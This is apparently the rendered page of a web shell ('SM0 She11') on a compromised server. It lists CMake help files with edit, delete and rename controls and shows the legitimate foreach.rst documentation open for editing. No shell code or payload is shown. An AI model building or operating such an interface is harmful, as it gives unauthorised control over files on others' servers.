SM0 She11
Path:
/
/
usr
/
share
/
cmake3
/
Help
/
command
Full Path (server): /usr/share/cmake3/Help/command
Create Fil3
Upl04d Fil3
📄 FIND_XXX.txt
[E]
[D]
[R]
📄 FIND_XXX_ORDER.txt
[E]
[D]
[R]
📄 FIND_XXX_ROOT.txt
[E]
[D]
[R]
📄 LINK_OPTIONS_LINKER.txt
[E]
[D]
[R]
📄 OPTIONS_SHELL.txt
[E]
[D]
[R]
📄 add_compile_definitions.rst
[E]
[D]
[R]
📄 add_compile_definitions.rst.rename
[E]
[D]
[R]
📄 add_compile_options.rst
[E]
[D]
[R]
📄 add_compile_options.rst.rename
[E]
[D]
[R]
📄 add_custom_command.rst
[E]
[D]
[R]
📄 add_custom_command.rst.rename
[E]
[D]
[R]
📄 add_custom_target.rst
[E]
[D]
[R]
📄 add_custom_target.rst.rename
[E]
[D]
[R]
📄 add_definitions.rst
[E]
[D]
[R]
📄 add_definitions.rst.rename
[E]
[D]
[R]
📄 add_dependencies.rst
[E]
[D]
[R]
📄 add_executable.rst
[E]
[D]
[R]
📄 add_executable.rst.rename
[E]
[D]
[R]
📄 add_library.rst
[E]
[D]
[R]
📄 add_library.rst.rename
[E]
[D]
[R]
📄 add_link_options.rst
[E]
[D]
[R]
📄 add_link_options.rst.rename
[E]
[D]
[R]
📄 add_subdirectory.rst
[E]
[D]
[R]
📄 add_test.rst
[E]
[D]
[R]
📄 add_test.rst.rename
[E]
[D]
[R]
📄 aux_source_directory.rst
[E]
[D]
[R]
📄 break.rst
[E]
[D]
[R]
📄 build_command.rst
[E]
[D]
[R]
📄 build_command.rst.rename
[E]
[D]
[R]
📄 build_name.rst
[E]
[D]
[R]
📄 cmake_host_system_information.rst
[E]
[D]
[R]
📄 cmake_minimum_required.rst
[E]
[D]
[R]
📄 cmake_parse_arguments.rst
[E]
[D]
[R]
📄 cmake_policy.rst
[E]
[D]
[R]
📄 cmake_policy.rst.rename
[E]
[D]
[R]
📄 configure_file.rst
[E]
[D]
[R]
📄 continue.rst
[E]
[D]
[R]
📄 create_test_sourcelist.rst
[E]
[D]
[R]
📄 ctest_build.rst
[E]
[D]
[R]
📄 ctest_build.rst.rename
[E]
[D]
[R]
📄 ctest_configure.rst
[E]
[D]
[R]
📄 ctest_coverage.rst
[E]
[D]
[R]
📄 ctest_empty_binary_directory.rst
[E]
[D]
[R]
📄 ctest_memcheck.rst
[E]
[D]
[R]
📄 ctest_read_custom_files.rst
[E]
[D]
[R]
📄 ctest_read_custom_files.rst.rename
[E]
[D]
[R]
📄 ctest_run_script.rst
[E]
[D]
[R]
📄 ctest_sleep.rst
[E]
[D]
[R]
📄 ctest_start.rst
[E]
[D]
[R]
📄 ctest_submit.rst
[E]
[D]
[R]
📄 ctest_test.rst
[E]
[D]
[R]
📄 ctest_test.rst.rename
[E]
[D]
[R]
📄 ctest_update.rst
[E]
[D]
[R]
📄 ctest_upload.rst
[E]
[D]
[R]
📄 define_property.rst
[E]
[D]
[R]
📄 else.rst
[E]
[D]
[R]
📄 elseif.rst
[E]
[D]
[R]
📄 enable_language.rst
[E]
[D]
[R]
📄 enable_testing.rst
[E]
[D]
[R]
📄 endforeach.rst
[E]
[D]
[R]
📄 endfunction.rst
[E]
[D]
[R]
📄 endif.rst
[E]
[D]
[R]
📄 endmacro.rst
[E]
[D]
[R]
📄 endwhile.rst
[E]
[D]
[R]
📄 exec_program.rst
[E]
[D]
[R]
📄 execute_process.rst
[E]
[D]
[R]
📄 export.rst
[E]
[D]
[R]
📄 export_library_dependencies.rst
[E]
[D]
[R]
📄 file.rst
[E]
[D]
[R]
📄 file.rst.rename
[E]
[D]
[R]
📄 find_file.rst
[E]
[D]
[R]
📄 find_library.rst
[E]
[D]
[R]
📄 find_package.rst
[E]
[D]
[R]
📄 find_package.rst.rename
[E]
[D]
[R]
📄 find_path.rst
[E]
[D]
[R]
📄 find_program.rst
[E]
[D]
[R]
📄 fltk_wrap_ui.rst
[E]
[D]
[R]
📄 foreach.rst
[E]
[D]
[R]
📄 function.rst
[E]
[D]
[R]
📄 get_cmake_property.rst
[E]
[D]
[R]
📄 get_cmake_property.rst.rename
[E]
[D]
[R]
📄 get_directory_property.rst
[E]
[D]
[R]
📄 get_filename_component.rst
[E]
[D]
[R]
📄 get_property.rst
[E]
[D]
[R]
📄 get_source_file_property.rst
[E]
[D]
[R]
📄 get_target_property.rst
[E]
[D]
[R]
📄 get_test_property.rst
[E]
[D]
[R]
📄 if.rst
[E]
[D]
[R]
📄 include.rst
[E]
[D]
[R]
📄 include_directories.rst
[E]
[D]
[R]
📄 include_directories.rst.rename
[E]
[D]
[R]
📄 include_external_msproject.rst
[E]
[D]
[R]
📄 include_guard.rst
[E]
[D]
[R]
📄 include_regular_expression.rst
[E]
[D]
[R]
📄 install.rst
[E]
[D]
[R]
📄 install.rst.rename
[E]
[D]
[R]
📄 install_files.rst
[E]
[D]
[R]
📄 install_programs.rst
[E]
[D]
[R]
📄 install_targets.rst
[E]
[D]
[R]
📄 link_directories.rst
[E]
[D]
[R]
📄 link_directories.rst.rename
[E]
[D]
[R]
📄 link_libraries.rst
[E]
[D]
[R]
📄 list.rst
[E]
[D]
[R]
📄 list.rst.rename
[E]
[D]
[R]
📄 load_cache.rst
[E]
[D]
[R]
📄 load_command.rst
[E]
[D]
[R]
📄 macro.rst
[E]
[D]
[R]
📄 make_directory.rst
[E]
[D]
[R]
📄 mark_as_advanced.rst
[E]
[D]
[R]
📄 math.rst
[E]
[D]
[R]
📄 message.rst
[E]
[D]
[R]
📄 option.rst
[E]
[D]
[R]
📄 output_required_files.rst
[E]
[D]
[R]
📄 project.rst
[E]
[D]
[R]
📄 qt_wrap_cpp.rst
[E]
[D]
[R]
📄 qt_wrap_ui.rst
[E]
[D]
[R]
📄 remove.rst
[E]
[D]
[R]
📄 remove_definitions.rst
[E]
[D]
[R]
📄 return.rst
[E]
[D]
[R]
📄 separate_arguments.rst
[E]
[D]
[R]
📄 set.rst
[E]
[D]
[R]
📄 set.rst.rename
[E]
[D]
[R]
📄 set_directory_properties.rst
[E]
[D]
[R]
📄 set_property.rst
[E]
[D]
[R]
📄 set_property.rst.rename
[E]
[D]
[R]
📄 set_source_files_properties.rst
[E]
[D]
[R]
📄 set_target_properties.rst
[E]
[D]
[R]
📄 set_tests_properties.rst
[E]
[D]
[R]
📄 set_tests_properties.rst.rename
[E]
[D]
[R]
📄 site_name.rst
[E]
[D]
[R]
📄 source_group.rst
[E]
[D]
[R]
📄 string.rst
[E]
[D]
[R]
📄 string.rst.rename
[E]
[D]
[R]
📄 subdir_depends.rst
[E]
[D]
[R]
📄 subdirs.rst
[E]
[D]
[R]
📄 target_compile_definitions.rst
[E]
[D]
[R]
📄 target_compile_definitions.rst.rename
[E]
[D]
[R]
📄 target_compile_features.rst
[E]
[D]
[R]
📄 target_compile_features.rst.rename
[E]
[D]
[R]
📄 target_compile_options.rst
[E]
[D]
[R]
📄 target_compile_options.rst.rename
[E]
[D]
[R]
📄 target_include_directories.rst
[E]
[D]
[R]
📄 target_include_directories.rst.rename
[E]
[D]
[R]
📄 target_link_directories.rst
[E]
[D]
[R]
📄 target_link_directories.rst.rename
[E]
[D]
[R]
📄 target_link_libraries.rst
[E]
[D]
[R]
📄 target_link_libraries.rst.rename
[E]
[D]
[R]
📄 target_link_options.rst
[E]
[D]
[R]
📄 target_link_options.rst.rename
[E]
[D]
[R]
📄 target_precompile_headers.rst
[E]
[D]
[R]
📄 target_sources.rst
[E]
[D]
[R]
📄 target_sources.rst.rename
[E]
[D]
[R]
📄 try_compile.rst
[E]
[D]
[R]
📄 try_compile.rst.rename
[E]
[D]
[R]
📄 try_run.rst
[E]
[D]
[R]
📄 try_run.rst.rename
[E]
[D]
[R]
📄 unset.rst
[E]
[D]
[R]
📄 unset.rst.rename
[E]
[D]
[R]
📄 use_mangled_mesa.rst
[E]
[D]
[R]
📄 utility_source.rst
[E]
[D]
[R]
📄 variable_requires.rst
[E]
[D]
[R]
📄 variable_watch.rst
[E]
[D]
[R]
📄 while.rst
[E]
[D]
[R]
📄 write_file.rst
[E]
[D]
[R]
Editing: foreach.rst
foreach ------- Evaluate a group of commands for each value in a list. .. code-block:: cmake foreach(<loop_var> <items>) <commands> endforeach() where ``<items>`` is a list of items that are separated by semicolon or whitespace. All commands between ``foreach`` and the matching ``endforeach`` are recorded without being invoked. Once the ``endforeach`` is evaluated, the recorded list of commands is invoked once for each item in ``<items>``. At the beginning of each iteration the variable ``loop_var`` will be set to the value of the current item. The commands :command:`break` and :command:`continue` provide means to escape from the normal control flow. Per legacy, the :command:`endforeach` command admits an optional ``<loop_var>`` argument. If used, it must be a verbatim repeat of the argument of the opening ``foreach`` command. .. code-block:: cmake foreach(<loop_var> RANGE <stop>) In this variant, ``foreach`` iterates over the numbers 0, 1, ... up to (and including) the nonnegative integer ``<stop>``. .. code-block:: cmake foreach(<loop_var> RANGE <start> <stop> [<step>]) In this variant, ``foreach`` iterates over the numbers from ``<start>`` up to at most ``<stop>`` in steps of ``<step>``. If ``<step>`` is not specified, then the step size is 1. The three arguments ``<start>`` ``<stop>`` ``<step>`` must all be nonnegative integers, and ``<stop>`` must not be smaller than ``<start>``; otherwise you enter the danger zone of undocumented behavior that may change in future releases. .. code-block:: cmake foreach(<loop_var> IN [LISTS [<lists>]] [ITEMS [<items>]]) In this variant, ``<lists>`` is a whitespace or semicolon separated list of list-valued variables. The ``foreach`` command iterates over each item in each given list. The ``<items>`` following the ``ITEMS`` keyword are processed as in the first variant of the ``foreach`` command. The forms ``LISTS A`` and ``ITEMS ${A}`` are equivalent. The following example shows how the ``LISTS`` option is processed: .. code-block:: cmake set(A 0;1) set(B 2 3) set(C "4 5") set(D 6;7 8) set(E "") foreach(X IN LISTS A B C D E) message(STATUS "X=${X}") endforeach() yields :: -- X=0 -- X=1 -- X=2 -- X=3 -- X=4 5 -- X=6 -- X=7 -- X=8 .. code-block:: cmake foreach(<loop_var>... IN ZIP_LISTS <lists>) In this variant, ``<lists>`` is a whitespace or semicolon separated list of list-valued variables. The ``foreach`` command iterates over each list simultaneously setting the iteration variables as follows: - if the only ``loop_var`` given, then it sets a series of ``loop_var_N`` variables to the current item from the corresponding list; - if multiple variable names passed, their count should match the lists variables count; - if any of the lists are shorter, the corresponding iteration variable is not defined for the current iteration. .. code-block:: cmake list(APPEND English one two three four) list(APPEND Bahasa satu dua tiga) foreach(num IN ZIP_LISTS English Bahasa) message(STATUS "num_0=${num_0}, num_1=${num_1}") endforeach() foreach(en ba IN ZIP_LISTS English Bahasa) message(STATUS "en=${en}, ba=${ba}") endforeach() yields :: -- num_0=one, num_1=satu -- num_0=two, num_1=dua -- num_0=three, num_1=tiga -- num_0=four, num_1= -- en=one, ba=satu -- en=two, ba=dua -- en=three, ba=tiga -- en=four, ba=
Save